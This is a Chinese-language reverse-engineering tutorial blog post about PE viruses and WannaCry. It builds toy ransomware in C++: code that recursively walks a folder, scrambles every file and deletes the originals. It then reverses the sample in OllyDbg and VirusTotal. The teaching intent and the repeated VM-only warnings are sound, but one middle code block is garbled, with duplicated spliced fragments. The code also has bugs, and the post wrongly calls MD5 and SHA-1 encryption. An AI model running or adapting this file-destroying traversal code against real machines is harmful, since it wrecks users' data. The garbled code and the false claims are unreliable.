[系統安全] 七.逆向分析之PE病毒原理、C++實現文件加解密及OllyDbg逆向

      網友投稿 1171 2025-03-31

      文章目錄

      一.PE病毒和WannaCry勒索蠕蟲

      1.PE病毒

      2.PE病毒的分類

      3.勒索病毒

      二.獲取系統文件及加密處理

      三.OllyDbg和在線沙箱逆向分析

      1.OllyDbg分析

      2.在線沙箱分析

      四.總結

      系統安全:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis

      網絡安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

      前文分析:

      [系統安全] 一.什么是逆向分析、逆向分析基礎及經典掃雷游戲逆向

      [系統安全] 二.如何學好逆向分析及呂布傳游戲逆向案例

      [系統安全] 三.IDA Pro反匯編工具初識及逆向工程解密實戰

      [系統安全] 四.OllyDbg動態分析工具基礎用法及Crakeme逆向破解

      [系統安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大戰僵尸游戲

      [系統安全] 六.逆向分析之條件語句和循環語句源碼還原及流程控制

      [系統安全] 七.逆向分析之PE病毒原理、C++實現文件加解密及OllyDbg逆向

      聲明:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護。

      一.PE病毒和WannaCry勒索蠕蟲

      1.PE病毒

      什么是PE病毒?

      PE病毒是以Windows PE程序為載體,能寄生于PE文件或Windows系統的病毒程序。PE病毒數量非常之多,包括早起的CIH病毒,全球第一個可以破壞計算機硬件的病毒,它會破壞主辦的BIOS,對其數據進行擦寫修改。再比如熊貓燒香、機器狗等等,其危害非常之大。

      什么叫感染?

      說到病毒,不得不提感染。感染是指在盡量不影響目標程序(系統)正常功能的前提下,而使其具有病毒自身的功能。什么叫病毒自身的功能呢?一個病毒通常包括如下模塊:

      感染模塊:?被感人程序同樣具備感染能力

      觸發模塊:?在特定條件下實施相應的病毒功能,比如日期、鍵盤輸入等

      破壞模塊

      其他模塊

      CIH病毒

      CIH病毒是一種能夠破壞計算機系統硬件的惡性病毒。這個病毒產自TW,原集嘉通訊公司工程師陳盈豪在其于TW大同工學院念書期間制作。最早隨國際兩大盜版集團販賣的盜版光盤在歐美等地廣泛傳播,隨后進一步通過網絡傳播到全世界各個角落。CIH的載體是一個名為“ICQ中文Chat模塊”的工具,并以熱門盜版光盤游戲如“古墓奇兵”或Windows95/98為媒介,經互聯網各網站互相轉載,使其迅速傳播。目前傳播的主要途徑主要通過Internet和電子郵件,當然隨著時間的推移,其傳播主要仍將通過軟盤或光盤途徑。

      CIH病毒曾入榜全球十大計算機病毒之首,該病毒引起了許多重要部門的嚴密關注,其原因不言而喻。如果指揮、通信、政務等系統受到了CIH病毒的威脅甚至破壞,其后果不堪設想。

      如果我們要編寫PE病毒,則需要掌握以下的關鍵:

      病毒的重定位

      獲取API函數地址

      文件搜索

      內存映射文件

      病毒如何感染其他文件

      病毒如何返回到Host程序

      2.PE病毒的分類

      以感染目標進行分類,包括:

      (1) 文件感染

      將代碼寄生在PE文件,病毒本身只是PE文件的一部分,依賴于感染目標,通常也叫HOST文件,控制權獲得也是以目標程序運行來獲得的。分為:

      傳統感染型:以Win32匯編程序編寫為主

      捆綁釋放型:編寫難度較低,通過高級語言均可編寫,將目標程序和病毒程序捆在一起,和捆綁器有相似之處

      (2) 系統感染

      將代碼或程序寄生在Windows操作系統,該類病毒越來越多,它不感染具體文件,但是它會在操作系統中保存自己的實體。同時也可以通過系統啟動的方法來獲取控制權。傳播途徑包括:

      即時通信軟件,如QQ尾巴

      U盤、光盤

      電子郵件

      網絡共享

      其他途徑

      Windows PE病毒原理、分類及感染方式詳解

      3.勒索病毒

      WannaCry勒索病毒復現及分析(四)蠕蟲傳播機制全網源碼詳細解讀

      2017年5月12日,WannaCry蠕蟲通過永恒之藍MS17-010漏洞在全球范圍大爆發,感染大量的計算機。WannaCry勒索病毒全球大爆發,至少150個國家、30萬名用戶中招,造成損失達80億美元,已影響金融、能源、醫療、教育等眾多行業,造成嚴重的危害。

      WannaCry是一種“蠕蟲式”勒索病毒軟件,由不法分子利用NSA泄露方程式工具包的危險漏洞“EternalBlue”(永恒之藍)進行傳播。該蠕蟲感染計算機后會向計算機中植入敲詐者病毒,導致電腦大量文件被加密。

      WannaCry利用Windows系統的SMB漏洞獲取系統的最高權限,該工具通過惡意代碼掃描開放445端口的Windows系統。被掃描到的Windows系統,只要開機上線,不需要用戶進行任何操作,即可通過共享漏洞上傳WannaCry勒索病毒等惡意程序。

      WannaCry利用永恒之藍漏洞進行網絡端口掃描攻擊,目標機器被成功攻陷后會從攻擊機下載WannaCry木馬進行感染,并作為攻擊機再次掃描互聯網和局域網的其他機器,行成蠕蟲感染大范圍超快速擴散。

      木馬母體為mssecsvc.exe,運行后會掃描隨機IP的互聯網機器,嘗試感染,也會掃描局域網相同網段的機器進行感染傳播,此外會釋放敲詐者程序tasksche.exe,對磁盤文件進行加密勒索。

      木馬加密使用AES加密文件,并使用非對稱加密算法RSA 2048加密隨機密鑰,每個文件使用一個隨機密鑰,理論上不可PJ。同時@WanaDecryptor@.exe顯示勒索界面。其核心流程如下圖所示:

      WannaCry勒索病毒主要行為是傳播和勒索。

      傳播:利用基于445端口的SMB漏洞MS17-010(永恒之藍)進行傳播

      勒索:釋放文件,包括加密器、解密器、說明文件、語言文件等;內存加載加密器模塊,加密執行類型文件,全部加密后啟動解密器;解密器啟動后,設置桌面背景顯示勒索信息,彈出窗口顯示付款賬號和勒索信息

      二.獲取系統文件及加密處理

      前面第一部分簡單普及了病毒和勒索的基本概念,它們都與感染、加密、解密、傳播、勒索等關鍵詞密切相關,接下來我將帶著大家實現最簡單的系統文件加密及解密功能。只有掌握了這些基本知識,才能更好地服務于我們的逆向分析工程。

      注意:這里僅允許大家加密自己電腦的文件夾并且在虛擬機中進行實驗,不要去惡意損壞他人的計算機設備,一切破壞和攻擊行為后果自負。

      假設桌面存在如下圖所示的文件“文件夾加密”,我們需要獲取其信息再進行文件遍歷及加密操作。

      操作系統API

      加密算法

      解密算法

      PS:建議大家創建一個新的文件夾,并復制一些無效文件進去測試。

      第一步,創建Windows控制臺程序。

      第二步,在編寫一個簡單的加密函數前,首先需要創建文件并執行打開、讀寫操作。

      #include //文件加密函數 void jiami(char* fileName) { //1.打開文件 FILE* fp = NULL; //文件指針變量 fp = fopen(fileName, "r+"); //打開可讀寫的文件 if (NULL == fp) { printf("打開文件失敗\n"); return; } printf("打開 %s 文件成功!\n", fileName); //2.獲取文件大小 //3.每隔一個字節插入一個字節數據 //4.保存關閉 } int main() { jiami("C:\Users\xiuzhang\Desktop\文件夾加密\test.txt"); return 0; }

      運行結果如下圖所示:

      注意,如果提示傳遞參數不兼容需要進行如下設置。

      高級字符級處:設置編碼方式為“使用多直接字符集”

      C++語言處:設置符合模式為“否”

      同時,如果提示錯誤“error C4996: ‘fopen’: This function or variable may be unsafe. ”,則因為VS認為fopen函數是不安全的,需要如下設置:

      取消安全開發生命周期SDL檢查設置

      第三步,計算文件大小,該文件共35個字節。

      基本流程為:

      設置光標(文件內容指針)到文件末尾

      計算光標位置距離文件頭字節數

      設置光標位置到文件頭

      #include //文件加密函數 void jiami(char* fileName) { FILE* fp = NULL; //文件指針變量 int size = 0; //文件大小 //1.打開文件 fp = fopen(fileName, "r+"); //打開可讀寫的文件 if (NULL == fp) { printf("打開文件失敗\n"); return; } printf("打開 %s 文件成功!\n", fileName); //2.獲取文件大小 fseek(fp, 0, SEEK_END); //設置光標到文件末尾 size = ftell(fp); //計算光標位置距離文件頭字節數 fseek(fp, 0, SEEK_SET); //設置光標位置到文件頭 printf("文件大小為:%d字節!\n", size); //3.每隔一個字節插入一個字節數據 //4.保存關閉 } int main() { jiami("C:\Users\xiuzhang\Desktop\文件夾加密\test.txt"); return 0; }

      輸出結果如下圖所示:

      第四步,循環插入字節實現簡單的加密。

      如果我們在進行文件操作時,遇到權限不夠的情況,需要進行相關提權操作,再進行加密處理。核心函數如下:

      jiami:自定義函數讀取文件,每個一個字符添加一個a,實現文件簡單加密操作

      //文件加密函數 參數-文件名字 void jiami(char* fileName) { FILE* fp = NULL; //文件指針變量 int size = 0; //文件大小 //1.打開文件 fp = fopen(fileName, "r+"); //打開可讀寫的文件 if (NULL == fp) { printf("打開文件失敗\n"); return; } printf("打開 %s 文件成功!\n", fileName); //2.獲取文件大小 fseek(fp, 0, SEEK_END); //設置光標到文件末尾 size = ftell(fp); //計算光標位置距離文件頭字節數 fseek(fp, 0, SEEK_SET); //設置光標位置到文件頭 printf("文件大小為:%d字節!\n", size); //3.獲取文件所有內容 char* tmp; int read_size; tmp = (char*)malloc((size + 1) * sizeof(char)); read_size = fread(tmp, sizeof(char), size, fp); tmp[size] = '

      //文件加密函數 參數-文件名字 void jiami(char* fileName) { FILE* fp = NULL; //文件指針變量 int size = 0; //文件大小 //1.打開文件 fp = fopen(fileName, "r+"); //打開可讀寫的文件 if (NULL == fp) { printf("打開文件失敗\n"); return; } printf("打開 %s 文件成功!\n", fileName); //2.獲取文件大小 fseek(fp, 0, SEEK_END); //設置光標到文件末尾 size = ftell(fp); //計算光標位置距離文件頭字節數 fseek(fp, 0, SEEK_SET); //設置光標位置到文件頭 printf("文件大小為:%d字節!\n", size); //3.獲取文件所有內容 char* tmp; int read_size; tmp = (char*)malloc((size + 1) * sizeof(char)); read_size = fread(tmp, sizeof(char), size, fp); tmp[size] = '\0'; //printf("讀取字符串為:%s %d %d\n", tmp, read_size, strlen(tmp)); //4.每隔一個字節插入一個字節數據 char ch; char code = 'a'; char* pTxt; FILE* fpw = fopen("ddd.txt", "w"); //寫入文件 pTxt = (char*)malloc(sizeof(char) * (strlen(tmp) * 2 + 1)); for (int i = size; i >= 0; i--) { ch = tmp[i]; if (i != 0) { pTxt[2 * i] = ch; pTxt[2 * i - 1] = code; } else { pTxt[2 * i] = ch; } //printf("%d %c %c\n", i, ch, pTxt[2 * i - 1]); } pTxt[size * 2] = '\0'; printf("操作后字符串:%s %d\n", pTxt, strlen(pTxt)); fwrite(pTxt, sizeof(char), size * 2, fpw); //保存關閉 fclose(fp); fclose(fpw); return; }

      '; //printf("讀取字符串為:%s %d %d\n", tmp, read_size, strlen(tmp)); //4.每隔一個字節插入一個字節數據 char ch; char code = 'a'; char* pTxt; FILE* fpw = fopen("ddd.txt", "w"); //寫入文件 pTxt = (char*)malloc(sizeof(char) * (strlen(tmp) * 2 + 1)); for (int i = size; i >= 0; i--) { ch = tmp[i]; if (i != 0) { pTxt[2 * i] = ch; pTxt[2 * i - 1] = code; } else { pTxt[2 * i] = ch; } //printf("%d %c %c\n", i, ch, pTxt[2 * i - 1]); } pTxt[size * 2] = '

      //文件加密函數 參數-文件名字 void jiami(char* fileName) { FILE* fp = NULL; //文件指針變量 int size = 0; //文件大小 //1.打開文件 fp = fopen(fileName, "r+"); //打開可讀寫的文件 if (NULL == fp) { printf("打開文件失敗\n"); return; } printf("打開 %s 文件成功!\n", fileName); //2.獲取文件大小 fseek(fp, 0, SEEK_END); //設置光標到文件末尾 size = ftell(fp); //計算光標位置距離文件頭字節數 fseek(fp, 0, SEEK_SET); //設置光標位置到文件頭 printf("文件大小為:%d字節!\n", size); //3.獲取文件所有內容 char* tmp; int read_size; tmp = (char*)malloc((size + 1) * sizeof(char)); read_size = fread(tmp, sizeof(char), size, fp); tmp[size] = '\0'; //printf("讀取字符串為:%s %d %d\n", tmp, read_size, strlen(tmp)); //4.每隔一個字節插入一個字節數據 char ch; char code = 'a'; char* pTxt; FILE* fpw = fopen("ddd.txt", "w"); //寫入文件 pTxt = (char*)malloc(sizeof(char) * (strlen(tmp) * 2 + 1)); for (int i = size; i >= 0; i--) { ch = tmp[i]; if (i != 0) { pTxt[2 * i] = ch; pTxt[2 * i - 1] = code; } else { pTxt[2 * i] = ch; } //printf("%d %c %c\n", i, ch, pTxt[2 * i - 1]); } pTxt[size * 2] = '\0'; printf("操作后字符串:%s %d\n", pTxt, strlen(pTxt)); fwrite(pTxt, sizeof(char), size * 2, fpw); //保存關閉 fclose(fp); fclose(fpw); return; }

      '; printf("操作后字符串:%s %d\n", pTxt, strlen(pTxt)); fwrite(pTxt, sizeof(char), size * 2, fpw); //保存關閉 fclose(fp); fclose(fpw); return; }

      運行程序后,我們打開test.txt查看如下,發現一個簡單的加密或擾亂完成,變成了一堆亂碼。當加密函數寫好之后,我們接著需要編寫一個遍歷文件夾的函數,實現對整個目錄進行加密處理。

      再次強調:大家只能加密自己電腦的文件夾并且在虛擬機中進行實驗,不要去惡意損壞他人的計算機設備。

      第五步,編寫遍歷文件夾函數。

      通常遍歷文件夾采用的是遞歸方法,依次遍歷某個目錄的文件夾,深度搜索文件夾中的內容,如果是文件就加密,如果是文件夾就繼續深度搜索,直至找到文件依次返回,從而實現整個目錄的文件遍歷。

      //遍歷文件夾找到每個文件 參數-文件夾名字 void findFile(char* pathName) { /* 禁止加密他人計算機,一定只能對指定目錄加密,尤其不能對C盤加密 */ //設置要找的文件名 通配符實現 char findFileName[256]; memset(findFileName, 0, 256); //清空數組 sprintf(findFileName, "%s\*.*", pathName); printf("要找的文件名是:%s\n", findFileName); return; } int main() { //jiami("C:\Users\xiuzhang\Desktop\文件夾加密\test.txt"); //獲取當前文件夾 char buff[256] = { 0 }; GetCurrentDirectory(256, buff); printf("當前目錄是:%s\n\n", buff); return 0; }

      上述代碼通過自定義函數遍歷文件夾,同時調用API函數獲取當前目錄,核心函數為:

      GetCurrentDirectory:Windows API獲取當前目錄

      findFile:自定義函數調用通配符*獲取指定目錄所有文件

      輸出結果如下圖所示:

      第六步,進一步完善遍歷文件夾遞歸調用函數。

      調用FindFirstFile函數獲取目錄下第一個文件

      如果找到第一個文件,則循環調用FindNextFile函數獲取下一個文件

      如果找到的是文件夾,則拼接新的文件夾路徑繼續遞歸遍歷文件

      #include #include #include #include //遍歷文件夾找到每個文件 參數-文件夾名字 void findFile(char* pathName) { /* 禁止加密他人計算機,一定只能對指定目錄加密,尤其不能對C盤加密 */ //1.設置要找的文件名 通配符實現 char findFileName[256]; memset(findFileName, 0, 256); //清空數組 sprintf(findFileName, "%s\*.*", pathName); printf("要找的文件名是:%s\n", findFileName); //2.獲取目錄下第一個文件 WIN32_FIND_DATA findData; //定義結構體 HANDLE hFile = FindFirstFile(findFileName, &findData); //判斷返回值等于-1(INVALID_HANDLE_VALUE) if (INVALID_HANDLE_VALUE == hFile) { printf("查找文件失敗!\n"); return; } //如果成功進入死循環繼續查找下一個文件 else { int ret = 1; char temp[256]; while (ret) { //如果找到的是個文件夾 則需要繼續查找該文件夾內容 if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) { //文件夾拼接=原始路徑+新文件夾路徑 memset(temp, 0, 256); sprintf(temp, "%s\%s", pathName, findData.cFileName); printf("找到一個文件夾:%s\n", temp); Sleep(1000); //暫停1秒鐘 findFile(temp); } else { //如果是文件 則加密文件 memset(temp, 0, 256); sprintf(temp, "%s\%s", pathName, findData.cFileName); printf("找到一個文件:%s\n", temp); } //查找下一個文件 ret = FindNextFile(hFile, &findData); } } return; } int main() { //獲取當前文件夾 char buff[256] = { 0 }; GetCurrentDirectory(256, buff); printf("當前目錄是:%s\n\n", buff); findFile(buff); return 0; }

      在寫代碼過程中,我們一定要學會邊寫邊調試,或者稱為打樁輸出,而不是一寫到底最后來慢慢修改。此時運行程序,它輸出遍歷當前目錄的文件夾結果如下圖所示,為什么會一直在遞歸呢?

      注意這里的 “.” 代表當前文件夾,所以需要過濾掉該點,否則陷入無限遞歸。

      findData.cFileName[0] != ‘.’

      最終運行結果如下圖所示,將當前文件夾內所有內容顯示出來。

      比如Debug文件夾中內容,和我們的獲取結果是一一對應的。

      注意: 使用二進制打開可以復制大型文件如.exe文件、音頻視頻文件等,所以文件操作改為“rb”和“wb”。由于某些文件會很大,我們文件讀寫換了一種操作,按字符讀入及寫入。每一種寫法和優化都是有原因的,這個過程需要你去慢慢琢磨,包括逆向分析也一樣,操作系統或編譯器、惡意代碼為什么這么優化,我們都需要慢慢去分析。

      完整代碼如下:

      #include #include #include #include //文件加密函數 參數-文件名字 void jiami(char* fileName, char* pathName) { FILE* fp = NULL; //文件指針變量 int size = 0; //文件大小 //打開文件 //注意: 使用二進制打開可以復制大型文件如.exe文件,音頻視頻文件等 fp = fopen(fileName, "rb"); //打開可讀寫的文件 if (NULL == fp) { printf("打開文件失敗\n"); return; } printf("打開 %s 文件成功!\n", fileName); //獲取文件大小 fseek(fp, 0, SEEK_END); //設置光標到文件末尾 size = ftell(fp); //計算光標位置距離文件頭字節數 fseek(fp, 0, SEEK_SET); //設置光標位置到文件頭 printf("文件大小為:%d字節!\n", size); //獲取文件所有內容 char code = 'a'; char ch; char temp[256]; memset(temp, 0, 256); sprintf(temp, "%s\%s", pathName, "test"); printf("%s\n", temp); FILE* fpw = fopen(temp, "wb"); //寫入文件 while (!feof(fp)) { ch = fgetc(fp); fputc(ch, fpw); fputc(code, fpw); //printf("%c\n", ch); } //保存關閉 fclose(fp); fclose(fpw); //替換文件 char commend[1024]; memset(commend, 0, 1024); sprintf(commend, "del \"%s\"", fileName); //訪問路徑包含空格增加雙引號 printf("%s\n", commend); system(commend); rename(temp, fileName); //調用C語言rename函數重命名文件 printf("\n"); return; } //遍歷文件夾找到每個文件 參數-文件夾名字 void findFile(char* pathName) { /* 禁止加密他人計算機,一定只能對指定目錄加密,尤其不能對C盤加密 */ //1.設置要找的文件名 通配符實現 char findFileName[256]; memset(findFileName, 0, 256); //清空數組 sprintf(findFileName, "%s\*.*", pathName); printf("要找的文件名是:%s\n", findFileName); //2.獲取目錄下第一個文件 WIN32_FIND_DATA findData; //定義結構體 HANDLE hFile = FindFirstFile(findFileName, &findData); //判斷返回值等于-1(INVALID_HANDLE_VALUE) if (INVALID_HANDLE_VALUE == hFile) { printf("查找文件失敗!\n"); return; } //如果成功進入死循環繼續查找下一個文件 else { int ret = 1; char temp[256]; while (ret) { //如果找到的是個文件夾 則需要繼續查找該文件夾內容 if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) { if(findData.cFileName[0] != '.') { //文件夾拼接=原始路徑+新文件夾路徑 memset(temp, 0, 256); sprintf(temp, "%s\%s", pathName, findData.cFileName); printf("找到一個文件夾:%s\n", temp); Sleep(1000); //暫停1秒鐘 findFile(temp); } } else { //如果是文件 則加密文件 memset(temp, 0, 256); sprintf(temp, "%s\%s", pathName, findData.cFileName); printf("找到一個文件:%s\n", temp); //加密文件 jiami(temp, pathName); } //查找下一個文件 ret = FindNextFile(hFile, &findData); } } return; } int main() { char buff[256] = { 0 }; GetCurrentDirectory(256, buff); printf("當前目錄是:%s\n\n", buff); //加密指定文件夾目錄 建議使用虛擬機執行 findFile("C:\Users\xiuzhang\Desktop\文件夾加密"); return 0; }

      最終實現效果如下圖所示:

      指定目錄的所有文件已經被加密,圖片已經不能顯示、EXE程序也不能執行。

      圖片打開提示“圖片錯誤,無法打開”,EXE程序也無法執行。

      接著我們用010editor軟件打開加密文件,具體的內容顯示如下圖所示:

      注意,某次執行代碼沒修改加密文件夾,將VS當前目錄全部加密,工程直接奔潰,最終重新創建工程,所以大家僅能試試指定目錄來學習加密和解密原理知識。

      第八步,編寫解密功能。

      [系統安全] 七.逆向分析之PE病毒原理、C++實現文件加解密及OllyDbg逆向

      當我們中了勒索病毒,就需要解密,這里我們簡單給大家編寫一個解密函數。當然,真實環境中,MD5、hash、SHA-1都是比較常用的加密算法。解密文件寫有兩種方法:

      全部讀入內存,修改后重新存入文件

      邊讀邊寫到另一新建文件,要修改的部分修改后存入新建文件,其他部分原封不動寫入,寫完刪掉原先文件,并將這個新的改為刪掉那個的名字

      #include #include #include #include //文件加密函數 參數-文件名字 void jiami(char* fileName, char* pathName) { FILE* fp = NULL; //文件指針變量 int size = 0; //文件大小 //打開文件 //注意: 使用二進制打開可以復制大型文件如.exe文件,音頻視頻文件等 fp = fopen(fileName, "rb"); //打開可讀寫的文件 if (NULL == fp) { printf("打開文件失敗\n"); return; } printf("打開 %s 文件成功!\n", fileName); //獲取文件大小 fseek(fp, 0, SEEK_END); //設置光標到文件末尾 size = ftell(fp); //計算光標位置距離文件頭字節數 fseek(fp, 0, SEEK_SET); //設置光標位置到文件頭 printf("文件大小為:%d字節!\n", size); //獲取文件所有內容 char code = 'a'; char ch; char temp[256]; memset(temp, 0, 256); sprintf(temp, "%s\\%s", pathName, "test"); printf("%s\n", temp); FILE* fpw = fopen(temp, "wb"); //寫入文件 while (!feof(fp)) { ch = fgetc(fp); fputc(ch, fpw); fputc(code, fpw); //printf("%c\n", ch); } //保存關閉 fclose(fp); fclose(fpw); //替換文件 char commend[1024]; memset(commend, 0, 1024); sprintf(commend, "del \"%s\"", fileName); //訪問路徑包含空格增加雙引號 printf("%s\n", commend); system(commend); rename(temp, fileName); //調用C語言rename函數重命名文件 printf("\n"); return; } //文件解密函數 參數-文件名字 void jiemi(char* fileName, char* pathName) { char ch; int size = 0; //文件大小 FILE* fp; //打開文件 FILE* fpw; //寫入文件 char tmp[1024]; //初始化操作 memset(tmp, 0, 1024); sprintf(tmp, "%s\\tmp", pathName); printf("%s\n", tmp); fp = fopen(fileName, "rb"); fpw = fopen(tmp, "wb"); fseek(fpw, 0, SEEK_SET); //設置光標位置到文件頭 //每隔一個字節刪除一個字節數據 int i = 0; while (!feof(fp)) { ch = fgetc(fp); if (0 == (i % 2)) { //偶數寫入 i = 1; fputc(ch, fpw); } else { i = 0; continue; } } fclose(fp); fclose(fpw); //替換文件 char commend[1024]; memset(commend, 0, 1024); sprintf(commend, "del \"%s\"", fileName); //訪問路徑包含空格增加雙引號 printf("%s\n", commend); system(commend); rename(tmp, fileName); //調用C語言rename函數重命名文件 printf("\n"); return; } //遍歷文件夾找到每個文件 參數-文件夾名字 void findFile(char* pathName) { /* 禁止加密他人計算機,一定只能對指定目錄加密,尤其不能對C盤加密 */ //1.設置要找的文件名 通配符實現 char findFileName[256]; memset(findFileName, 0, 256); //清空數組 sprintf(findFileName, "%s\\*.*", pathName); printf("要找的文件名是:%s\n", findFileName); //2.獲取目錄下第一個文件 WIN32_FIND_DATA findData; //定義結構體 HANDLE hFile = FindFirstFile(findFileName, &findData); //判斷返回值等于-1(INVALID_HANDLE_VALUE) if (INVALID_HANDLE_VALUE == hFile) { printf("查找文件失敗!\n"); return; } //如果成功進入死循環繼續查找下一個文件 else { int ret = 1; char temp[256]; while (ret) { //如果找到的是個文件夾 則需要繼續查找該文件夾內容 if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) { if(findData.cFileName[0] != '.') { //文件夾拼接=原始路徑+新文件夾路徑 memset(temp, 0, 256); sprintf(temp, "%s\\%s", pathName, findData.cFileName); printf("找到一個文件夾:%s\n", temp); Sleep(1000); //暫停1秒鐘 findFile(temp); } } else { //如果是文件 則加密文件 memset(temp, 0, 256); sprintf(temp, "%s\\%s", pathName, findData.cFileName); printf("找到一個文件:%s\n", temp); //加密文件 //jiami(temp, pathName); //解密文件 jiemi(temp, pathName); } //查找下一個文件 ret = FindNextFile(hFile, &findData); } } return; } int main() { char buff[256] = { 0 }; GetCurrentDirectory(256, buff); printf("當前目錄是:%s\n\n", buff); //加密指定文件夾目錄 建議使用虛擬機執行 findFile("C:\\Users\\xxxxx\\Desktop\\文件夾加密-------------"); return 0; }

      最終成功還原代碼,圖片和EXE程序又能運行了!

      但是遺憾的是,在文本中涉及中文字符,仍然出現了部分亂碼?哈哈!^ _ ^ 大家告訴我怎么處理呢?感覺需要中文字符兩字節判斷操作,但也不影響這篇文章分享的加密與解密基礎知識。甚至你還可以做一個界面,包含加密按鈕和解密按鈕,融合Hash、MD5各種算法進行相關操作,這里僅采用命令行的形式告訴大家原理,希望對您有所幫助。

      對比下加密文件:

      三.OllyDbg和在線沙箱逆向分析

      1.OllyDbg分析

      接著我們通過OD打開加密的EXE程序,對其進行簡單的逆向分析,顯示如下圖所示。可以看到有很多CC指令,這是VS2019的一些措施,接著我們嘗試簡單分析。

      模塊入口點:0x009E13C5

      第一步,右鍵選擇“查找”->“當前模塊中的名稱”,我們嘗試查看該EXE執行的函數。

      我們可以看到調用的Win32 API函數,如下圖所示,調用FindFirstFileA和FindNextNextA函數,應該是在遍歷文件目錄。同時,包括了文件操作函數fopen、fseek、ftell、memset、fgetc、fputc等。同時包括了一些線程和進程相關的函數。

      第二步,選中該函數右鍵點擊“在每個參考上設置斷點”。

      接著進入對應斷點位置進行調試,設置斷點函數一般為文件操作、API操作、數據顯示等。

      第三步,另一種方法是選擇“所有模塊間的調用”,查看調用的函數信息。

      顯示結果如下圖所示,包括我們使用的FindNextFileA、FindFirstFileA函數,屬于Kernel32中;也有Sleep睡眠函數,以及文件操作fopen、fseek、fgetc等。

      第四步,我們選中某個函數右鍵即可設置斷點,比如FindNextFileA和FindFirstFileA函數,接著按下B鍵可以看到已經設置的斷點信息。

      第五步,接著選中斷點選擇“反匯編窗口中跟隨”。

      可以看到對應斷點FindNextFileA位置,這是逆向分析對指定模塊進行分析的常用方法。

      接著按下F9調試程序,然后停在斷點位置,再按下F7進入斷點單步調試惡意樣本的核心模塊,比如該函數獲取的參數即為“C:\User\xxxxx\Desktop\文件夾加密”,這就看到了打開該文件夾的目錄。

      接續調試我們可以看到參數傳遞,字符串拼接、睡眠函數等內容,重點是我們要通過CALL分析進入到加密函數中,然后去分析加密的算法從而實現逆向PJ。

      程序運行結果如下圖所示,我們可以結合輸出的結果進行每個功能模塊的分析及逆向。

      最終,一個簡單的逆向分析過程講解完畢!最重要的是我們通過自己編寫加密解密算法,然而再對其進行分析,從而加深我們初學者學習逆向的經驗,這里提出幾個問題供大家和我思考。

      OD逆向怎么判斷惡意樣本(PE文件)執行或檢測了哪些文件

      OD逆向怎么判斷惡意樣本(PE文件)是否具有注冊表操作、系統進程獲取、屏幕截屏等操作

      OD逆向怎么判斷惡意樣本(PE文件)的網絡操作,IP地址、郵箱、域名訪問請求情況

      OD逆向怎么判斷惡意樣本(PE文件)是否具有蠕蟲傳播感染功能

      怎么溯源一個惡意樣本

      2.在線沙箱分析

      在惡意樣本逆向分析中,在線平臺給我們提供了強大支撐,我們拿到一個樣本之后可以先對其進行在線監測。其操作比較簡單,就是將惡意樣本上傳至指定在想網址即可。常見的在線沙箱分析包括:

      virustotal沙箱:https://www.virustotal.com/

      360沙箱:https://ti.qianxin.com/

      Cuckoo沙箱:https://cuckoo.cert.ee/

      微步沙箱:https://s.threatbook.cn/

      我們以 virustotal沙箱為例,打開主頁如稀土所示,點擊“choose file”,上傳我們的勒索exe文件。

      結果從72個在線引擎中掃描出4個是惡意樣本的引擎,如下圖所示:

      我們可以看到該樣本的基本信息,包括MD5、SHA-1等。

      接著是文件歷史信息以及PE文件節點信息。

      下面有一個重點,是該文件的導入函數信息,在Imports中顯示,主要包括:

      KERNEL32.dll

      VCRUNTIME140D.dll

      ucrtbased.dll

      ucrtbased.dll主要包括的文件操作如下圖所示,比如fopen、fputc、system、rename等函數。

      如果該樣本有惡意家族關聯,它也能給出相應的信息。

      四.總結

      寫到這里,這篇文章就介紹完畢,希望對您有所幫助,最后進行簡單的總結下。

      PE病毒和WannaCry勒索蠕蟲

      PE病毒

      PE病毒的分類

      勒索病毒

      獲取系統文件及加密處理

      OllyDbg逆向分析

      系統安全:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis

      網絡安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

      很多朋友問我如何學逆向分析?

      下面給出推薦的學習路線和安全書籍。軟件逆行其實就是搬磚活,你需要的是任性和基本功。可能大佬們會有很多技巧,但我希望你能扎扎實實去躺過那些坑,會看懂代碼,會寫代碼,然后IDA和OD工具(倚天屠龍)用好,每天泡在代碼中,肯定能行的。你應該這樣學習:

      1.多敲代碼,重視實戰;

      2.程序不是寫出來的,是調出來的;

      3.根據自己興趣和市場需求做一定規模的項目。

      最后給出了這一年我在網絡安全、系統安全和機器學習看過的書,如果你想把AI更好的融入安全領域,看看這些書籍還是挺不錯,我也厚著臉皮把自己寫的兩本Python數據分析書放了進來,哈哈~

      網絡安全:

      系統安全:

      AI+安全:

      編程沒有捷徑,逆向也沒有捷徑,它們都是搬磚活,少琢磨技巧,干就對了。什么時候你把攻擊對手按在地上摩擦,你就贏了,也會慢慢形成了自己的安全經驗和技巧。加油吧,少年希望這個路線對你有所幫助,共勉。

      感恩能與大家在華為云遇見!

      希望能與大家一起在華為云社區共同成長,原文地址:https://blog.csdn.net/Eastmount/article/details/111027618

      (By:娜璋之家 Eastmount 2021-08-31 夜于貴陽)

      參考資料:

      真心推薦大家好好看看這些視頻和文章,感恩這些大佬!

      https://www.bilibili.com/video/BV17t411C79t

      https://www.bilibili.com/video/BV1J5411x7qz

      C++ Windows Server 網絡

      版權聲明:本文內容由網絡用戶投稿,版權歸原作者所有,本站不擁有其著作權,亦不承擔相應法律責任。如果您發現本站中有涉嫌抄襲或描述失實的內容,請聯系我們jiasou666@gmail.com 處理,核實后本網站將在24小時內刪除侵權內容。

      版權聲明:本文內容由網絡用戶投稿,版權歸原作者所有,本站不擁有其著作權,亦不承擔相應法律責任。如果您發現本站中有涉嫌抄襲或描述失實的內容,請聯系我們jiasou666@gmail.com 處理,核實后本網站將在24小時內刪除侵權內容。

      上一篇:Excel批量加密批量加密Excel文件的方法
      下一篇:word用F4無法改變圖片大小怎么辦(word圖片大小統一設置按f4沒反應)
      相關文章
